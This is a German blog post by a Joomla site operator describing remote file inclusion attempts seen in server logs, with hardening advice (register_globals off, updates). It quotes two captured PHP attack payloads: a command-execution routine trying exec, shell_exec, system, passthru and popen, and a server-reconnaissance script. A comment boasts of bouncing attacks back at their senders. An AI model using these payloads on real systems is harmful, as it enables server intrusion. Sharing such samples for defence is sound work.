Einige meiner Projekte basieren auf Joomla (natürlich fast immer die letzte Version, damit bekannte Sicherheitslücken nicht ausgenutzt werden können). Seit heute beobachte ich auf einem Projekt, dass massivst versucht wird, die Variable $mosConfig_absolute_path zu manipulieren durch externe Files.
Natürlich ist alles in der .htaccess durch
php_flag register_globals off
php_value register_globals off
geschützt, aber es nervt trotzdem, ständig sowas in den Logfiles zu lesen.
Zum Teil wird versucht, irgendwelche Komponenten anzugreifen, die eh nicht installiert sind (z. B. MamboWiki), zum Teil geht es aber auch über die unvermeidbare com_content-Komponente.
Bei den Einschleusversuchen findet man so lustige Dateien wie z. B.
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = ";
if (!empty($cfe)){
if(function_exists(‘exec")){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists(‘shell_exec")){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system")){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru")){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
oder auch
<?php
function ConvertBytes($number)
{
$len = strlen($number);
if($len < 4)
{
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6)
{
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9)
{
return sprintf("%0.2f Mb", $number/1024/1024);
}return sprintf("%0.2f Gb", $number/1024/1024/1024);
}
echo "bsdcr3w<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "We was here … and u no !!!<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
Falls jemand das gleiche oder ein ähnliches Problem hat, empfehle ich dringend die oben genannten Zeilen in der .htaccess zu ergänzen und natürlich das System aktuell zu halten.
Ich finde das ganze jedenfalls ziemlich…
2 Kommentare
Ja, ich kenn das nur zu gut… Sowas taucht seit Jahren in Logfiles auf, meistens sind es halt Bots die nach möglichen Schwachstellen suchen.
Mittlerweile leite ich solche Angriffe mit Hilfe ner Blacklist, die in den vhost geladen wird, auf den Angreifer zurück( einer hat sich tatsächlich mal bei mir gemeldet und mich gefragt, was der Schei* soll und warum ich ihn ‘weggeDOSd’ hab – made my day^.^)
Hehe, gute Idee